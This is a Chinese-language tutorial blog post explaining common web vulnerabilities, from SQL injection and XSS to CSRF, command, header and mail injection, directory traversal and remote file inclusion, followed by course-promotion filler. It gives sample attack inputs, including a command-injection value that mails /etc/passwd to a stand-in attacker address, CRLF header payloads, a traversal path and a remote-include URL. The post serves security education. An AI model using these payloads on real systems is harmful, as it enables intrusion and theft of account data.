浅谈常见WEB安全漏洞

本文介绍了常见的WEB安全漏洞,包括SQL注入、XSS跨站脚本攻击、CSRF攻击、OS命令注入、HTTP首部注入、邮件首部注入、目录遍历和远程文件包含漏洞,探讨了它们的定义、危害和防范措施。网络安全初学者可借此了解WEB安全的基础知识。

今天和大家聊聊常见的 WEB 安全漏洞!

请注意,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担

 一、攻击目标:

       1. 影响 – 宕机、篡改页面等

        2. 交易 – 盗取银行账号、钓鱼攻击

        3. 用户 – 登录密码以及 cookie/refer/ip 隐私

二、常见漏洞

  1. SQL注入攻击​
  2. XSS跨站脚本攻击
  3. CSRF攻击
  4. OS命令注入攻击
  5. HTTP首部注入攻击
  6. 邮件首部注入攻击
  7. 目录遍历攻击
  8. 远程文件包含漏洞 

1.SQL 注入

俗称黑客的填空游戏,填准了什么都能干,sql 语句拼接的小网站比较常见。

定义:攻击者提交恶意 SQL 并得到执行

本质:由于输入检验不充分,导致非法数据被当做 SQL 来执行

防范:ibatis SQL 尽量用#,慎用 $,$ 带上元数据标识 (select * from xxx order by $orderByColumn:METADATA$)。

2.XSS: Cross-Site Scripting,跨站脚本攻击

定义:攻击者在页面里插入恶意脚本,当用户浏览该页时,嵌入其中的恶意代码被执行,从而达到攻击者的特殊目的

实质:用户提交的 HTML 代码未经过滤和转义直接回显

特点:

攻击授信和未授信用户,不直接攻击服务器

很常见,例如贴图、 AJAX 回调、富文本(如评论留言)

恶意脚本可能位于跨站服务器,但必须用户浏览器执行,最暴力的防范就是禁用 JS 脚本

危害:

挂蠕虫、木马、病毒

盗取用户的 cookie/referer/ip 等信息

制作钓鱼网站

用户被提交恶意数据、被执行恶意操作

 帮助 CSRF,绕过 CSRF 的 token 验证

3.CSRF :Cross Site Request Forgery,即跨站请求伪造

定义: 在恶意站点上,促使用户请求有 CSRF 漏洞的应用的 URL 或欺骗性的表单,从而修改用户数据

实质:利用 session 机制,盗用授信用户对应用做一些恶意的 GET/POST 提交

特点:

不同于 XSS,恶意脚本一定位于跨站服务器

攻击授信用户,不直接攻击服务器

近年增多,授信用户的贴图、表单提交、页面交互、AJAX 调用都可能导致该漏洞

危害:

获得管理员权限

盗取用户银行卡、信用卡信息

授信用户被提交恶意数据、被执行恶意操作

 防范:

 服务器区分 GET/POST,增加攻击难度

REFERER 校验,补充手段

改长授信为短授信

时间戳

关键流程使用验证码

Token 验证

严防 XSS,否则短授信可能被伪造

4、OS命令注入攻击

通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险

下面以咨询表单的发送功能为例,讲解OS注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。

下面摘选处理该表单内容的一部分核心代码。

my $adr = $q->param('mailaddress');
open(MAIL, "¦ /usr/sbin/sendmail $adr");
print MAIL "From: info@example.com\n";

攻击者将下面的值指定作为邮件地址。

; cat /etc/passwd ¦ mail hack@example.jp

程序接收该值,构成以下的命令组合。

¦ /usr/sbin/sendmail ; cat /etc/passwd ¦ mail hack@example.jp

攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。

可见,sendmail命令执行被分隔后,接下去就会执行cat /etc/passwd| mail hack@example.jp这样的命令了。结果,含有Linux账户信息/etc/passwd的文件,就以邮件形式发送给了hack@example.jp

5.HTTP首部注入攻击

攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击

如下所示,Web应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345
*12345就是插入值

HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击。

下面我们以选定某个类别后即可跳转至各类别对应页面的功能为例,讲解HTTP首部注入攻击。该功能为每个类别都设定了一个类别ID值,一旦选定某类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101。令浏览器发生重定向跳转。

攻击者以下面的内容替代之前的类别ID后发送请求。

101%0D%0ASet-Cookie:+SID=123456789

其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站的会话ID设置成SID=123456789的Set-Cookie首部字段

HTTP响应截断攻击:🤡

HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并排插入字符串后发送。利用这两个连续的换行就可作出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击。

%0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--


6.邮件首部注入攻击

Web应用中的邮件发送功能,攻击者通过向邮件首部To或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件

下面以Web页面中的咨询表单为例讲解邮件首部注入攻击。该功能可在表单内填入咨询者的邮件地址及咨询内容后,以邮件的形式发送给网站管理员。

例如:使用两个连续的换行符就有可能篡改邮件文本内容并发送

bob@hackr.jp%0D%0A%0D%0ATest Message

再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作

7.目录遍历攻击

目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击

通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用.../等相对路径定位到/etc/passed等敏感的绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件

例如:攻击者设置如下查询字段后发出请求

http://example.com/read.php?log=../../etc/passwd

8.远程文件包含漏洞

远程文件包含漏洞是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击

下面以include读入由查询字段指定文件的功能为例,讲解远程文件包含漏洞。该功能可通过以下查询字段形式指定文件名,并在脚本内的include语句处读入这个指定文件。

http://example.com/foo.php?mod=news.php

foo.php源码如下:

$modname = $_GET['mod'];
include($modname);

攻击者指定如同下面形式的URL发出请求:

http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
 

三、扩展阅读

其他漏洞

•    命令行注入

•    文件上传漏洞

•    缓冲区溢出

•    访问控制漏洞

•    Logic Flaw,逻辑漏洞

•    无限制 URL 跳转漏洞

•    表单重复提交

四、网络安全零基础入门

1.网络安全学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

因篇幅有限,仅展示部分资料,需要的小伙伴可以持续关注我~

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。

3.SRC漏洞挖掘&护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

4.网络安全工具包合集

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值